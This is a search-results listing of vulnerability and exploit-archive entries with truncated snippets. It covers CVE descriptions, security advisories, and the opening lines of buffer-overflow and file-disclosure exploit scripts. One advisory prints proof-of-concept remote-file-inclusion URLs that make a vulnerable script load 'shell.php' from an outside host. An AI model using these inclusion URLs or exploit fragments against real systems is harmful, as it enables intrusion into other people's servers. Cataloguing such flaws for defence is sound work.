641 matches found
SIDVault 2.0e - Windows Universal Buffer Overflow (SEH)
!/usr/bin/python import socket, sys, ldap print " SidVault 2.0e Windows Universal Buffer Overflow Exploit SEH" print " Original author : blake" print " Seh Exploit : Skull-Hacker" print " Tested on Windows XP SP3" if lensys.argv!=2: print " Usage: %s " % sys.argv0 sys.exit0 win32exec - EXITFUNC=s...
CVE-2009-2034
SQL injection vulnerability in writemessage.php in Yogurt 0.3, when registerglobals is enabled, allows remote authenticated users to execute arbitrary SQL commands via the original parameter...
FreeBSD : mnGoSearch buffer overflow in UdmDocToTextBuf() (87cc48fd-5fdd-11d8-80e3-0020ed76ef5a)
Jedi/Sector One reported the following on the full-disclosure list : Every document is stored in multiple parts according to its sections description, body, etc in databases. And when the content has to be sent to the client, UdmDocToTextBuf concatenates those parts together and skips metadata...
Multiple vulnerabilities found, fixed in OpenSSL
The OpenSSL Project has released new versions of its popular implementation of the Secure Sockets Layer SSL and Transport Layer Security TLS protocols to fix multiple security vulnerabilities. According to an advisory openssl.org, the update fixes three security flaws that carry “moderate severit...
ConPresso CMS 4.07 Session Fixation / XSS
HACKATTACK Advisory 25012009ConPresso CMS 4.07 - Session Fixation, XFS, XSS Details Product: ConPresso CMS 4.07 Security-Risk: moderated Remote-Exploit: yes Vendor-URL: http://www.conpresso.de/ Vendor-Status: informed Advisory-Status: not yet published Credits Discovered by: David Vieira-Kurz...
Enthusiast 3 Remote Code Execution
www.BugReport.ir AmnPardaz Security Research Team Title: Enthusiast 3 Remote Code Execution Vendor: http://scripts.indisguise.org/enthusiast/ Bug: File Inclusion Vulnerable Version: 3.1.4 prior versions also may be affected Exploitation: Remote with browser Fix: N/A Original Advisory:...
Firefox arbitrary file disclosure
Mozilla Firefox before 2.0.0.15 and SeaMonkey before 1.1.10 allow remote attackers to force the upload of arbitrary local files from a client computer via vectors involving originalTarget and DOM Range...
Download Accelerator Plus DAP 8.x - '.m3u' File Buffer Overflow
include include / DAP 8.x .m3u File BOF C Exploit for XP SP2,SP3 English SecurityFocus Advisory: Download Accelerator Plus DAP is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. Successfully exploiting this issue may allow remo...
Academic Web Tools CMS <= 1.4.2.8 Multiple Vulnerabilities
www.BugReport.ir AmnPardaz Security Research Team Title: Academic Web Tools CMS Multiple Vulnerabilities Vendor: www.yektaweb.com Vulnerable Version: 1.4.2.8 and prior versions Exploit: Available Impact: Medium Fix: N/A Original Advisory: www.bugreport.ir/?/44 1. Description: ACADEMIC WEB TOOLS A...
pNews 2.08 (shownews) Remote SQL Injection Vulnerability
No description provided by source. pNews 2.08 Remote SqL nj. VuLn. OrginaL : http://biyosecurity.com & http://coderx.org Cr@zyKing / sqL L0v3r'Z Crew Co. 2008 Script Down ; http://www.powie.de/cms/filedb/file.php?id=115&filecat=&eintrag=...
major_rls52.txt
MajorSecurity Advisory 52ActualAnalyzer family - Cross Site Scripting Issues Details ======= Product: Actual Analyzer Security-Risk: moderated Remote-Exploit: yes Vendor-URL: http://www.actualscripts.com Vendor-Status: informed Advisory-Status: published Credits ============ Discovered by: David...
Mozilla URL token stealing flaw
Gecko-based browsers, including Mozilla Firefox before 2.0.0.12 and SeaMonkey before 1.1.8, modify the .href property of stylesheet DOM nodes to the final URI of a 302 redirect, which might allow remote attackers to bypass the Same Origin Policy and read sensitive information from the original UR...
Mozilla URL token stealing flaw
Gecko-based browsers, including Mozilla Firefox before 2.0.0.12 and SeaMonkey before 1.1.8, modify the .href property of stylesheet DOM nodes to the final URI of a 302 redirect, which might allow remote attackers to bypass the Same Origin Policy and read sensitive information from the original UR...
CVE-2008-0246
admin.php in UploadScript 1.0 does not check for the original password before making a change to a new password, which allows remote attackers to gain administrator privileges via the pass parameter in a nopass Set Password action...
Tikiwiki 1.9.8.3 tiki-special_chars.php XSS Vulnerability
H - Security Labs Tikiwiki v1.9.8.3 Security Advisory ID : HSEC20072212 General Information -------------------------- Name : Tikiwiki 1.9.8.3 Vendor HomePage :http://tikiwiki.org Platforms : PHP && MySQL Vulnerability Type : Input Validation Error Timeline ------------------------- 17 December...
phpimage-rfi.txt
PHP Image v1.2 Multiple Remote File Inclusion Download: http://www.phpimage.co.uk/phpimagev12.zip Bug found by Civi Vuln code in xargcorner.php, xargcornerbottom.php, xargcornertop.php: POC: http://site/xargcorner.php?xarg=http://shell.php? http://site/xargcornerbottom.php?xarg=http://shell.php ?...
KN2.txt
Title : Knowledge Networking v.1.0.b Local File Inclusion Vulnerability Description : Knowledge Networking v.1.0.b is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. Author : d3hydr8 Homepage : http://www.darkc0de.com Original Post :...
Apache Tomcat - WebDAV SSL Remote File Disclosure
!/usr/bin/perl ================================================================ Apache Tomcat Remote File Disclosure Zeroday Xploit - With support for SSL MoDiFiEd version by : h3rcul3s ORiGiNaL Version by : kcdarookie aka eliteb0y / 2007 http://milw0rm.org/exploits/4530 MoDiFiCaTiOn : This code ...
Code injection
inc/exif.inc.php in Original Photo Gallery 0.11.2 and earlier allows remote attackers to execute arbitrary programs via the exifprog parameter, which is specified in an exec function call...